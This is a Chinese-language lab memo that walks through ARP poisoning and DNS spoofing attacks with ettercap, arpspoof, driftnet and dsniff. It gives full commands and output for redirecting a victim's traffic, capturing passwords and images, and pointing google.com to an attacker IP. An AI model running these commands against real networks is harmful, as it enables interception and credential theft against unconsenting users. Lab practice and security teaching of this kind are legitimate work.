中间人攻击——ARP毒化与DNS毒化

概述

操作一波中间人攻击的ARP毒化与DNS欺骗,备忘。

准备

测试机子如下 :

攻击者:192.168.111.183
被欺骗主机:192.168.111.173
默认网关(_gateway):192.168.111.2

ARP毒化

查看arp表

1
2
3
4
root@kali:~# arp
Address HWtype HWaddress Flags Mask Iface
192.168.111.254 ether 00:50:56:fe:53:af C eth0
_gateway ether 00:50:56:e6:26:42 C eth0

开启转发

1
2
3
4
5
root@kali:~# cat /proc/sys/net/ipv4/ip_forward
0
root@kali:~# echo 1 >> /proc/sys/net/ipv4/ip_forward
root@kali:~# cat /proc/sys/net/ipv4/ip_forward
1

Ettercap

Ettercap是一个多用途的开源工具,可以用来执行嗅探、密码抓取、主机分析等,并且还可以图形化启动。

另外ettercap有些不错的插件,可以增强中间人攻击。

1
2
3
4
5
dns_spoof (执行DNS欺骗攻击)
Dos_attack(对受害主机进行拒绝服务攻击)
Chk_poison(检测是否成功进行了攻击)
Repoison_arp(顾名思义,修复ARP)
......

具体操作如下:

1
2
3
root@kali:~# ettercap -G // 图形化启动ettercap
root@kali:~# ettercap -T -q -M ARP // 对所有主机进行ARP欺骗
root@kali:~# ettercap -T -q -M ARP -A 192.168.111.173 // 对192.168.111.173进行欺骗

查看受害者主机的arp表会发现,网关的mac地址被替换成了攻击机的mac地址。

Dsniff

Dsniff是一个非常强大的工具套件,它被用来进行渗透测试。它被用来实施嗅探、网络分析等。它能够捕捉各种协议。ARPspoof和driftnet也是dsniff套件的一部分,当然还有其他套件,如:

1
2
3
4
5
Msgsnarf
Urlsnarf
Mailsnarf
Filesnarf
dnsspoof

arpspoof重定向受害者的流量传送给攻击者。

1
2
3
4
root@kali:~# arpspoof -i eth0 -t 192.168.111.173 192.168.111.2
0:c:29:eb:ff:b9 0:c:29:d0:84:fc 0806 42: arp reply 192.168.111.2 is-at 0:c:29:eb:ff:b9
0:c:29:eb:ff:b9 0:c:29:d0:84:fc 0806 42: arp reply 192.168.111.2 is-at 0:c:29:eb:ff:b9
......

arpspoof网关的数据重定向到攻击者的机器。(流量由网关到攻击者再到受攻击者)

1
2
3
4
root@kali:~# arpspoof -i eth0 -t 192.168.111.2 192.168.111.183
0:c:29:eb:ff:b9 0:50:56:e6:26:42 0806 42: arp reply 192.168.111.183 is-at 0:c:29:eb:ff:b9
0:c:29:eb:ff:b9 0:50:56:e6:26:42 0806 42: arp reply 192.168.111.183 is-at 0:c:29:eb:ff:b9
......

截获敏感信息

1
2
root@kali:~# driftnet -i eth0 // 截获图片
root@kali:~# dsniff -i eth0 // 截获密码

DNS毒化

DNS欺骗攻击是一种非常危险的中间人攻击,它容易被攻击者利用并且窃取用户的机密信息。
使用DNS欺骗中间人攻击,攻击者将截取会话,然后转移到一个假网站的会话。假如:用户希望访问baidu.com,并且谷歌的IP地址为220.181.57.216,攻击者就可以使用DNS欺骗技术拦截会话,并将用户重定向到假冒的网站,假网站IP可以为任意IP。

Ettercap

ettercap包含一个DNS插件,可以进行DNS欺骗攻击。

  1. 在服务器上开启web服务。

  2. 查找编辑etter.dns文件,并在里面添加需要进行欺骗网站域名:

1
2
3
root@kali:~# find / -name etter.dns
/etc/ettercap/etter.dns
root@kali:~# vim /etc/ettercap/etter.dns

比如将google.com的ip导向118.24.150.108

1
2
3
google.com A 118.24.150.108
*.google.com A 118.24.150.108
www.google.com PTR 118.24.150.108
  1. 然后启动
1
root@kali:~# ettercap -G

arpspoof-1

  1. 点击上方菜单的Sniff,选择Unified sniffing,并选择网卡。

arpspoof-2

  1. 点击上方菜单的Hosts,选择Scan for hosts,进行主机扫描。

  2. 点击上方菜单的Hosts,选择Hosts list,进行选择目标主机为target1,选择网关为target2。

  3. 点击上方菜单的Mitm,选择ARP Poisoning,然后勾选Sniff remote connections

  4. 点击上方菜单的Plugins,选择Manage the plugins,然后勾选dns_spoof以及remote browser,当然还有其他插件,根据需求选择。

arpspoof-3

  1. 目标主机访问此域名google

arpspoof-4

参考资料

中间人攻击-ARP毒化
中间人攻击-DNS毒化